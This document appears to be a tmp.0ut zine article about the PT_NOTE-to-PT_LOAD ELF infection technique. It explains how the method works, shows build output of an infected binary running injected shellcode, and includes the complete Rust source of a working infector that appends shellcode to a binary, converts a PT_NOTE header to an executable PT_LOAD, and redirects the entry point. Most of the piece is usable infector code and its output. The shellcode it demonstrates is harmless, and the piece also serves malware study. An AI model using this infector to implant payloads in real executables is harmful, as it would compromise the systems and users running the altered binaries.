\_______________________________________________________________________/
o_/_________________________________________________________________________\_o
| | ___________ __ | |
| | \__ ___/____ ______ ____ __ ___/ |_ | |
| | | | / \\____ \ / _ \| | \ __\ | |
| | | || Y Y \ |_> > ( <_> ) | /| | | |
| | |____||__|_| / __/ /\ \____/|____/ |__| | |
| | \/|__| \/ | |
| | | |
| | ::: PT_NOTE to PT_LOAD ELF injector (in Rust) ::: | |
| | `- with love from d3npa and tmp.0ut <3 | |
| | | |
+------------------------------------------------------------------------------
| A Japanese version is available on Github / 日本語版はGithubにてご覧できます
| https://github.com/d3npa/hacking-trix-rust/blob/main/elf/ptnote-infector
+------------------------------------------------------------------------------
I read about a technique on the SymbolCrash blog for injecting shellcode
into an ELF binary by converting a PT_NOTE in the Program Headers into a
PT_LOAD. I thought this sounded interesting and I didn't know a lot about
ELF, so I took it as an opportunity to learn many new things at once.
For this project I created a small, very incomplete library I called
mental_elf which makes parsing and writing ELF metadata easier. I think
the library code is very straight-forward and easy to understand, so I
won't talk about it any more here.
====[ overview ]===============================================================
As implied by the title, this infection technique involves converting an
ELF's `PT_NOTE` program header into a `PT_LOAD` in order to run shellcode.
The infection boils down to three steps:
- Append the shellcode to the end of the ELF file
- Load the shellcode to a specific address in virtual memory
- Change the ELF's entry point to the above address so the shellcode is
executed first
The shellcode should also be patched for each ELF such that it jumps back to
the host ELF's original entry point, allowing the host to execute normally
after the shellcode is finished.
Shellcode may be loaded into virtual memory via a PT_LOAD header.
Inserting a new program header into the ELF file would likely break many
offsets throughout the binary, however it is usually possible to repurpose a
PT_NOTE header without breaking the binary.
Here is a note about the Note Section in the ELF Specification:
+--------------------------------------------------------------------------
| Note information is optional. The presence of note information does
| not affect a program’s ABI conformance, provided the information does
| not affect the program’s execution behavior. Otherwise, the program
| does not conform to the ABI and has undefined behavior
+--------------------------------------------------------------------------
Here are two caveats I became aware of:
- This simplistic technique will not work with PIE.
- The Go language runtime actually expects a valid PT_NOTE section
containing version information in order to run, so this technique
cannot be used with Go binaries.
Note: PIE can be disabled in cc with `-no-pie` or in rustc with
`-C relocation-model=static`
====[ shellcode ]==============================================================
The shellcode provided is written for the Netwide ASseMbler (NASM).
Make sure to install `nasm` before running the Makefile!
To create shellcode suitable for this injection, there are a couple of things
to keep in mind. Section 3.4.1 of the AMD64 System V ABI says that the rbp,
rsp, and rdx registers must be set to correct values before entry. This can
be achieved by ordinary pushing and popping around the shellcode.
My shellcode doesn't touch rbp or rsp, and setting rdx to zero before
returning also worked.
The shellcode also needs to be patched so it can actually jump back to the
host's original entry point after finishing. To make patching easier,
shellcode can be designed to run off the end of the file, either by being
written top-to-bottom, or jumping to an empty label at the end:
+--------------------------------------------------------------------------
| main_tasks:
| ; ...
| jmp finish
| other_tasks:
| ; ...
| finish:
+--------------------------------------------------------------------------
With this design, patching is as easy as appending a jump instruction.
In x86_64 however, jmp cannot take a 64bit operand - instead the destination
is stored in rax and then a jmp rax is made. This rust snippet patches a
"shellcode" byte vector to append a jump to entry_point:
+--------------------------------------------------------------------------
| fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
| // Store entry_point in rax
| shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
| shellcode.extend_from_slice(&entry_point.to_ne_bytes());
| // Jump to address in rax
| shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
| }
+--------------------------------------------------------------------------
====[ infector ]===============================================================
The infector itself is in src/main.rs.
It's written in an easy to follow top-to-bottom format, so if you understood
the overview it should be very clear. I also added comments to help.
The code uses my mental_elf library to abstract away the details of reading
and writing the file, so that it's easier to see the technique.
In summary, the code
- Takes in 2 CLI parameters: the ELF target and a shellcode file
- Reads in the ELF and Program headers from the ELF file
- Patches the shellcode with a `jmp` to the original entry point
- Appends the patched shellcode the ELF
- Finds a `PT_NOTE` program header and converts it to `PT_LOAD`
- Changes the ELF's entry point to the start of the shellcode
- Saves the altered header structures back into the ELF file
When an infected ELF file is run, the ELF loader will map several sections of
the ELF file into virtual memory - our crated PT_LOAD will make sure our
shellcode is loaded and executable. The ELF's entry point then starts the
shellcode's execution. Then the shellcode ends, it will then jump to the
original entry point, allowing the binary to run its original code.
+--------------------------------------------------------------------------
| $ make
| cd files && make && cd ..
| make[1]: Entering directory '/.../files'
| rustc -C opt-level=z -C debuginfo=0 -C relocation-model=static target.rs
| nasm -o shellcode.o shellcode.s
| make[1]: Leaving directory '/.../files'
| cargo run --release files/target files/shellcode.o
| Compiling mental_elf v0.1.0
(https://github.com/d3npa/mental-elf#0355d2d3)
| Compiling ptnote-to-ptload-elf-injection v0.1.0 (/...)
| Finished release [optimized] target(s) in 1.15s
| Running `target/release/ptnote-to-ptload-elf-injection files/target
files/shellcode.o`
| Found PT_NOTE section; converting to PT_LOAD
| echo 'Done! Run target with: `./files/target`'
| Done! Run target with: `./files/target`
| $ ./files/target
| dont tell anyone im here
| hello world!
| $
+--------------------------------------------------------------------------
====[ closing ]================================================================
This was such a fun project! I learned so much about Rust, ELF, and viruses in
general. Thanks to netspooky, sblip, TMZ, and others at tmp.out for teaching
me, helping me debug and motivating me to do this project <3
Additional Links:
- https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
- http://www.skyfree.org/linux/references/ELF_Format.pdf
- https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.95.pdf
- https://github.com/d3npa/mental-elf
The source code is below:
------------------------------------------------------------------------------
Cargo.toml
------------------------------------------------------------------------------
[package]
...
[dependencies.mental_elf]
git = "https://github.com/d3npa/mental-elf"
rev = "0355d2d35558e092a038589fc8b98ac9bc70c37b"
------------------------------------------------------------------------------
main.rs
------------------------------------------------------------------------------
use mental_elf::elf64::constants::*;
use std::{env, fs, process};
use std::io::prelude::*;
use std::io::SeekFrom;
fn main() -> Result<(), Box<dyn std::error::Error>> {
let args: Vec<String> = env::args().collect();
if args.len() != 3 {
eprintln!("Usage: {} <ELF File> <Shellcode File>", args[0]);
process::exit(1);
}
let elf_path = &args[1];
let sc_path = &args[2];
// Open target ELF file with RW permissions
let mut elf_fd = fs::OpenOptions::new()
.read(true)
.write(true)
.open(&elf_path)?;
// Load shellcode from file
let mut shellcode: Vec<u8> = fs::read(&sc_path)?;
// Parse ELF and program headers
let mut elf_header = mental_elf::read_elf64_header(&mut elf_fd)?;
let mut program_headers = mental_elf::read_elf64_program_headers(
&mut elf_fd,
elf_header.e_phoff,
elf_header.e_phnum,
)?;
// Patch the shellcode to jump to the original entry point after finishing
patch_jump(&mut shellcode, elf_header.e_entry);
// Append the shellcode to the very end of the target ELF
elf_fd.seek(SeekFrom::End(0))?;
elf_fd.write(&shellcode)?;
// Calculate offsets used to patch the ELF and program headers
let sc_len = shellcode.len() as u64;
let file_offset = elf_fd.metadata()?.len() - sc_len;
let memory_offset = 0xc00000000 + file_offset;
// Look for a PT_NOTE section
for phdr in &mut program_headers {
if phdr.p_type == PT_NOTE {
// Convert to a PT_LOAD section with values to load shellcode
println!("Found PT_NOTE section; converting to PT_LOAD");
phdr.p_type = PT_LOAD;
phdr.p_flags = PF_R | PF_X;
phdr.p_offset = file_offset;
phdr.p_vaddr = memory_offset;
phdr.p_memsz += sc_len as u64;
phdr.p_filesz += sc_len as u64;
// Patch the ELF header to start at the shellcode
elf_header.e_entry = memory_offset;
break;
}
}
// Commit changes to the program and ELF headers
mental_elf::write_elf64_program_headers(
&mut elf_fd,
elf_header.e_phoff,
elf_header.e_phnum,
program_headers,
)?;
mental_elf::write_elf64_header(&mut elf_fd, elf_header)?;
Ok(())
}
fn patch_jump(shellcode: &mut Vec<u8>, entry_point: u64) {
// Store entry_point in rax
shellcode.extend_from_slice(&[0x48u8, 0xb8u8]);
shellcode.extend_from_slice(&entry_point.to_ne_bytes());
// Jump to address in rax
shellcode.extend_from_slice(&[0xffu8, 0xe0u8]);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------